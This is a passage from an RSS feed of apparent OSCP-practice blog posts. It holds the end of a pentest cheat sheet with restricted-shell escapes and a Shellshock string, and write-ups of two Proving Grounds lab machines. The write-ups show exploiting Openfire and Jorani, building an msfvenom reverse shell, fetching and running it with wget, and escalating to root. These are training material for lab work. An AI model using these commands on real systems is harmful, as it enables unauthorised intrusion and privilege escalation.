\KaliIP\shareName</li><li>net use /d \KaliIP\shareName</li><li>net use \KaliIP\shareName</li></ul><p>On Kali:</p><ul><li>impacket-smbserver shareName /home/KaliUser/path to download -smb2support</li></ul><h3>Restricted Shell</h3><p>If we are in a restricted shell and do not have any of the pythons to export the tty, if you have vi or vim use to escape as follows:</p><p>first we open the vi or vim editor and use the following command:</p><ul><li>:set shell=/bin/bash</li></ul><p>Press enter and call the shell in vi or vim with:</p><ul><li>:shell</li></ul><p>Press enter again and we will have the shell, we can confirm with the tty command.</p><p><em>Try also using the “bash” command to escape</em></p><p>Command Injection:</p><ul><li>ls -al ‘pwd’</li><li>l\s -al</li></ul><p>If you have an ssh user you can escape with the following commands:</p><ul><li>ssh USER@IP -t “bash — noprofile” ssh USER@IP -t “/bin/sh”</li></ul><p>or</p><ul><li>“/bin/bash” ssh USER@IP -t “() { :; }; /bin/bash” (Shellshock)</li></ul><h4>Command chaining</h4><p>In some cases, it may be possible to escape a restricted shell using command chaining. We would need to use multiple commands on a single command line, separated by a shell meta character, such as a semicolon ( ; ) or pipe ( | ), to execute a command. For example, if the shell allows users to execute commands separated by semicolons, it may be possible to escape the shell by using a semicolon to separate two commands, one of which is not restricted by the shell.</p><h3>Miscellaneous notes</h3><h4>Transfer files using base64</h4><ul><li>base64 secret.zip</li></ul><p>We copy, save and use decode on our machine:</p><ul><li>base64 -d secret.zip.b64 &gt; secret.zip</li></ul><h4>Databases Login</h4><ul><li>mysql -hlocalhost -uwheels -pCanRipperCrackthis?09*</li><li>psql -h localhost -U wheels -p 5437</li></ul><h4>SSH local port forwarding</h4><ul><li>ssh USER@10.10.11.38 -N -L 8080:127.0.0.1:8080</li></ul><p>First port 8080 is our local access port, that you’ll use it to access from your kali. The second 8080 is the port we want to redirect.</p><h4>To automate the IP or URL use</h4><ul><li>export IP=192.168.xx.xx</li></ul><p>And then use $IP whenever you need to use it in a tool. To do it with a URL, it’s the same thing. Using “echo $IP” you can read the contents of the variable. Commands are not case sensitive7</p><h3>Linux PE Tools</h3><p>LinPeas: <a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS">https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS</a></p><p>LinEnum: <a href="https://github.com/rebootuser/LinEnum">https://github.com/rebootuser/LinEnum</a></p><p>LES (Linux Exploit Suggester): <a href="https://github.com/mzet-/linux-exploit-suggester">https://github.com/mzet-/linux-exploit-suggester</a></p><p>Linux Smart Enumeration: <a href="https://github.com/diego-treitos/linux-smart-enumeration">https://github.com/diego-treitos/linux-smart-enumeration</a></p><p>Linux Priv Checker: <a href="https://github.com/linted/linuxprivchecker">https://github.com/linted/linuxprivchecker</a></p><p>PSPY: <a href="https://github.com/DominicBreuker/pspy/releases">https://github.com/DominicBreuker/pspy/releases</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3458f8abd1ed" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[OSCP Practice] Proving Grounds — Fired]]></title>
            <link>https://medium.com/@MEGAZORDI/oscp-practice-proving-grounds-fired-99745bfe2977?source=rss-b7015a9f9611------2</link>
            <guid isPermaLink="false">https://medium.com/p/99745bfe2977</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[MEGAZORD]]></dc:creator>
            <pubDate>Thu, 16 Jan 2025 11:46:23 GMT</pubDate>
            <atom:updated>2025-01-16T11:46:23.043Z</atom:updated>
            <content:encoded><![CDATA[<h3>[OSCP Practice] Proving Grounds — Fired</h3><p>Machine Type: Linux<br>Difficult: Intermediate</p><h3>The Scan</h3><p>First I started a nmap scan to identify all of my surface attack:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*GY6X6cQ6MMMCiGxkH103UQ.png" /><figcaption>sudo nmap -A — open -p- 192.168.178.96</figcaption></figure><h3>Enum for Life</h3><p>As always how I have no credentials, ssh will be my last option here. Going to the port 9090 I found a application running called “Openfire” along with it version “4.7.3”:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Epummwh1CtYJe2BZkGIv5g.png" /><figcaption><a href="http://192.168.178.96:9090/login.jsp?url=%2Findex.jsp">http://192.168.178.96:9090/login.jsp?url=%2Findex.jsp</a></figcaption></figure><p>Noted the app and he version down then move to port 9091. I receive this type of code or error I dont know exactly what it is, but its dont lead me to anywhere. I tried to do Banner Grabing, but I only received a “p” as response:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RMS1WwODo6Ipl23Ux4prmQ.png" /><figcaption>Port 9091</figcaption></figure><p>Then I put my focus on port 9090. Searching for exploits, I found tow PoCs of an authentication bypass that create a user with admin privileges, and a Authenticated RCE that gives us a web shell via plugins exploitation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*el_fFT4WGkbd9rNNHJvVCw.png" /><figcaption><a href="https://github.com/K3ysTr0K3R/CVE-2023-32315-EXPLOIT">https://github.com/K3ysTr0K3R/CVE-2023-32315-EXPLOIT</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B3W4kTTPSR47FX8PorLo0g.png" /><figcaption><a href="https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce">https://www.vicarius.io/vsociety/posts/cve-2023-32315-path-traversal-in-openfire-leads-to-rce</a></figcaption></figure><p>The VSociety writeup show us a new Git repo that had a .jar file to exploit the plugin function:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cgj7VkTja3sOro7eb0rhYA.png" /><figcaption><a href="https://github.com/miko550/CVE-2023-32315/blob/main/openfire-management-tool-plugin.jar">https://github.com/miko550/CVE-2023-32315/blob/main/openfire-management-tool-plugin.jar</a></figcaption></figure><h3>The Attack</h3><p>I cloned the git repo from the first exploit (GitHub one) and runned the exploit, after it, I logged with the creds provided by the exploit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*ApIp2RYB5Fbk9-iBvMW0VQ.png" /><figcaption>python3 CVE-2023–32315.py -u <a href="http://192.168.178.96:9090/">http://192.168.178.96:9090</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OBeL7gIMLRyxJ9CMA8Ntzg.png" /><figcaption>Home Page</figcaption></figure><p>Now that I have credentials, I used the exploit from VSociety that show us how to upload a malicious plugin. After Download the .jar file, I follow the steps below:</p><p>Go to plugins and choose the plugin and then upload → Go to server settings then “Management Tool” → The plugin will ask for a pass enter “123” → Now you can execute commands on the host server or take a reverse interactive shell (You need to select the option “System Command”).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iHceIwxfWHSqwmsdeIIKWg.png" /><figcaption>The plugin will ask for a pass enter “123”</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kL-DBtYH7d24tp0ylmDLfg.png" /><figcaption>Now you can execute commands on the host server or take a reverse interactive shell.</figcaption></figure><p>To get a revershe shell I tried some revs shells as nc, python3 but none worked. So I created a shell file whit msfvenom and upload to the target with wget to the /tmp directorie:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*HSN60PxGXmf2nyxjGD1KoQ.png" /><figcaption>msfvenom -p cmd/unix/reverse_bash LHOST=192.168.45.169 LPORT=9090 -f raw &gt; reverse.sh</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vUrNGb1ZIWi1BifGD4N2Xg.png" /><figcaption>wget <a href="http://192.168.45.234/reverse.sh">http://192.168.45.234/reverse.sh</a> -O /tmp/reverse.sh</figcaption></figure><p>After uploaded, I change the permissions to the file, then I execute it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4mseMYWtEdEyRizjgloXeQ.png" /><figcaption>chmod +x /tmp/reverse.sh</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UR8yNabQpr4HQVcQVcgh7g.png" /><figcaption>/bin/bash /tmp/reverse.sh</figcaption></figure><p>Local flag can be find in the /home directory of our actual user:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*QgH2CF6I9FPWk5oAynbG3g.png" /></figure><h3>The Privilege Escalation</h3><p>I like to do some manual enumeration first, I started with the command “id” but the groups was standard, then I move to command “env”. The enviroment coomand show us an old pwd with a interesting name “embedded-db” what we can imagine there was some database in the server before or still there:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*wi3bhZfox61w55HPZqC-Bg.png" /></figure><p>I moved to this directory and listing the files, I found some interesting as .log for example:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*fZrUbH34hw1KpCNZAxIohg.png" /></figure><p>I opened the .log file, but I just find my credentials created by the exploit I runned. Then i move one by one and in the .script file, I found admin creds to SMTP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*ly1jMZT8SsxbqCs2P3FDDQ.png" /></figure><p>I runned netstat to confirm the ports running in the localhost, but I did not find SMTP:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*zqb_nSKrzHnTgIBAutZsrQ.png" /><figcaption>netstat -antup</figcaption></figure><p>So I decide to reuse the password as root and got root access:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*iBLDqZx96fhPUVrjJOOa4w.png" /></figure><h3>Tnx to read so far and hope I helped you.</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=99745bfe2977" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[OSCP Practice] Proving Grounds — Jordak]]></title>
            <link>https://medium.com/@MEGAZORDI/oscp-practice-proving-grounds-jordak-085dc832e30a?source=rss-b7015a9f9611------2</link>
            <guid isPermaLink="false">https://medium.com/p/085dc832e30a</guid>
            <category><![CDATA[provinggrounds]]></category>
            <category><![CDATA[offsec]]></category>
            <dc:creator><![CDATA[MEGAZORD]]></dc:creator>
            <pubDate>Mon, 06 Jan 2025 19:04:50 GMT</pubDate>
            <atom:updated>2025-01-06T19:04:50.322Z</atom:updated>
            <content:encoded><![CDATA[<h3>[OSCP Practice] Proving Grounds — Jordak</h3><p>Machine Type: Linux<br>Difficult: Intermediate (The machine is more easy than you think)</p><h3>The Scan</h3><p>First I started a nmap scan to identify all of my surface attack:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*O2YaI1IWa94mBWqJeuhYKQ.png" /><figcaption>nmap</figcaption></figure><h3>Enum for Life</h3><p>How I have no creds, ssh will be my last option here. Going to the http I received a default page from Apache:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nVCAEWssPQ6p0yI_4RYUQA.png" /><figcaption>Web Page</figcaption></figure><p>Robots shows me the root (/) directorie as disallowed so I just ignore it. Did some source inpection but didn’t find nothing useful, so I move to Fuzz it. Fuzz give some relevants directories (Note: You need to hide the lines with no contents (0 lines) ):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/761/1*z6hkB_raBa54GyIQSLd8qA.png" /><figcaption>FUZZ</figcaption></figure><p>Manually browsing this directories I found a web application:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wfu-VxDJmvGhcS_-by0sDg.png" /><figcaption>Wep App</figcaption></figure><p>How I did not found the version, I search on the web about it. I found a Jorani’s github page. In this page I found some juicy information as the default creds and some directories:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yTzGu4HnQEUvawe5G0McLQ.png" /><figcaption><a href="https://github.com/bbalet/jorani/blob/master/docs/install/README.md">https://github.com/bbalet/jorani/blob/master/docs/install/README.md</a></figcaption></figure><p>I tried this directories but no success, so I started try one by one and when I tried /upload I was redirect to the login page. I just tried the default creds and I was in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ttZMuOIxYFMEAp37TLO4qw.png" /><figcaption>Login Page</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KqBBciCAS4C8_FtkTn2l6w.png" /><figcaption>Web UI</figcaption></figure><p>Searching for exploits to the web app version I found a RCE:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PwMSrYpBOOCfHMsx1H2pyQ.png" /></figure><ul><li>Attack Description: In this version, an attacker could leverage path traversal to access files and execute code on the server.</li></ul><p>Looking up for this CVE I found 2 POCs, where the first PoC.py did not worked, and the second <a href="https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py">CVE_Jorani.py</a> was the right one (Probably the most difficult part of this machine is to find the exploit):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aKev7uYcvVKCQLqJVKXKWw.png" /><figcaption><a href="https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py">https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py</a></figcaption></figure><h3>The Attack</h3><p>I executed the exploit and was in. Then I use a python revshell for a more stable shell:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UR9S231waHoH9Yw5zPt-1A.png" /><figcaption>Usage: python3 CVE_Jorani.py &lt;URL&gt;</figcaption></figure><p>I set up a tty and in the user home directory you can find the local flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*m1sCb9zV1NATqTJdR3DptA.png" /><figcaption>Your flag won’t be the same</figcaption></figure><h3>The Privilege Escalation</h3><p>I started my enum for elevate my privs or move laterally. Right on my face, in my first command I saw that the user was in the sudo group, what is juicy!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*Y8kJx68Ec-ii_nr-Nex-bA.png" /><figcaption>ID and Sudo -l commands</figcaption></figure><p>Using gtfobins I searched for the env binary and found a way to leverage my privs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dC1v3GYJFpihf5ufwhcAeg.png" /><figcaption><a href="https://gtfobins.github.io/gtfobins/env/#sudo">https://gtfobins.github.io/gtfobins/env/#sudo</a></figcaption></figure><p>I runned the command and I was as root:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*evEwrNItJ_ilPtiMVY8Cow.png" /><figcaption>Your flag won’t be the same</figcaption></figure><h3>Lessons Learned</h3><p>Fuzz the web app to find information<br>Manual inspection is your best tool<br>Enumerate Enumerate Enumerate!<br>Always try to move to stable shell<br>High privileges should not be permitted to anyone</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=085dc832e30a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>